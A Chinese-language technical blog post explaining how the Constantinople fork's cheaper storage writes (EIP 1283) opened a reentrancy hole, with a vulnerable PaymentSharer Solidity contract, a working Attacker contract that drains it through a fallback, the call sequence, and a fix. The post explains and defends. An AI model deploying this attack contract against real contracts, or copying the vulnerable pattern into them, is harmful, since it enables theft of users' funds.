1. 程式人生 > >君士坦丁堡分叉引起的安全問題

君士坦丁堡分叉引起的安全問題

信息處理 evm signature update 函數 solid 協商 anti mage

目錄

  • 君士坦丁堡分叉引起的安全問題
    • 一. 什麽是君士坦丁堡分叉
    • 二. 一個重入合約
    • 三. 一份嘗試攻擊的合約
    • 四. 組合調用
      • 分叉之前
      • 分叉之後
      • 調用順序
    • 五. 如何解決

君士坦丁堡分叉引起的安全問題

一. 什麽是君士坦丁堡分叉

君士坦丁堡是最近以太坊的大事,主要做了一下改進

  • EIP 145:由兩位以太坊開發人員Alex Beregszaszi 和 Pawel Bylica編寫的技術升級,EIP 145詳細描述了一種更有效的以太坊信息處理方案,其稱為逐位移動(bitwise shifting);
  • EIP 1052:由以太坊core開發人員Nick Johnson和Bylica所撰寫,1052提供了一種優化以太坊網絡大規模代碼執行的方法。
  • EIP 1283:由Johnson撰寫,其基於EIP 1087,這一提議主要了引入了一種針對數據存儲更改更公平的定價方法,這可以讓智能合約開發者受益。
  • EIP 1014:由以太坊創始人Vitalik Buterin親自創建,此升級的目的是更好地促進基於狀態通道和鏈外(off-chain)交易的擴容解決方案。
  • EIP 1234:由以太坊主要客戶端 Parity發布經理 Afri Schoedon所倡導,這也是以太坊此次升級中最具爭議的部分,它會使以太坊網絡的區塊獎勵從3ETH減少到2ETH,此外還會延遲難度炸彈12個月的時間。

其中EIP 1283 最重要的改動就是對於修改合約內容更加便宜了,原來修改非0內容的地址需要5000gas,現在只需要200gas.

具體意思就是

//第一次寫入
Contract.A=300 //花費20000gas
//第二次寫入
Contract.A=500 //花費5000gas,如果是君士坦丁堡分叉以後只有200gas.

這對於DAPP而言肯定是好事,降低了DAPP的成本.但是意外卻引入了安全風險.

二. 一個重入合約

一份雙方協調分成的合約,簡化起見,裏面很多安全問題沒檢查,比如updateSplit應該只能參與雙方更新.

//PaymentSharer.sol
pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
     
    a.transfer(depo * splits[id] / 100); //transfer 給2100 gas執行事務
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

雙方協商一致,調用updateSplit,定下各自應得多少比例.然後就可以調用splitFunds,分別拿走各自的ether.
這在君士坦丁堡分叉之前,是非常安全的.

三. 一份嘗試攻擊的合約

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    PaymentSharer x = PaymentSharer(victim);
    x.updateSplit(0,0); //修改split,這樣下b.transfer就不再是transfer 0,達到雙倍收益.
  }
  //從合約中拿走全部ether
  function drain() external {
    owner.transfer(address(this).balance);
  }
}

四. 組合調用

    1. PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
    1. PaymentSharer.deposit(0) value=1ether
    1. Attacker.attack(PaymentSharer)

最關鍵的是第三步的調用順序:
attack-->updateSplit-->attack--->splitFunds(a全得,b沒有)--->a.transfer--->Attacker‘s fallback--->updateSplit(a沒有,b全得)-->b.transfer

最終a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是後入,而不是預想的只有拿走全部.

分叉之前

合約中調用transfer函數的gas是固定的,只能是2300,無法改動. 而Attacker‘s fallback 函數中調用updateSplit, 其中 splits[id] = split;這一句話就會消耗5000gas,因此attack這個Tx會失敗.

分叉之後

splits[id] = split;只會消耗gas200,因此有足夠的gas來執行updateSplit, 所以a.transfer會成功,然後b.transfer自然也會成功.

調用順序

技術分享圖片

五. 如何解決

針對這個問題解決起來非常簡單.下面就是一種修正方法.

function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
    uint s=splits[id];
    a.transfer(depo * s / 100); //transfer 給2100 gas執行事務
    b.transfer(depo * (100 - s) / 100);
  }

這樣就算是Attacker有了重入的機會,可以執行代碼,也不會有任何額外收益. 應該說合約的設計者已經考慮到a.transfer的重入問題,先修改了deposits[id],而不是放在transfer之後,但是仍然百密一疏.

合約一旦發布就無法修改,但是EVM規則卻可以通過分叉修改,可以解決以後的問題,但是卻不能修復已經發布的合約.

本來參考了一下文章
Constantinople enables new Reentrancy Attack

君士坦丁堡分叉引起的安全問題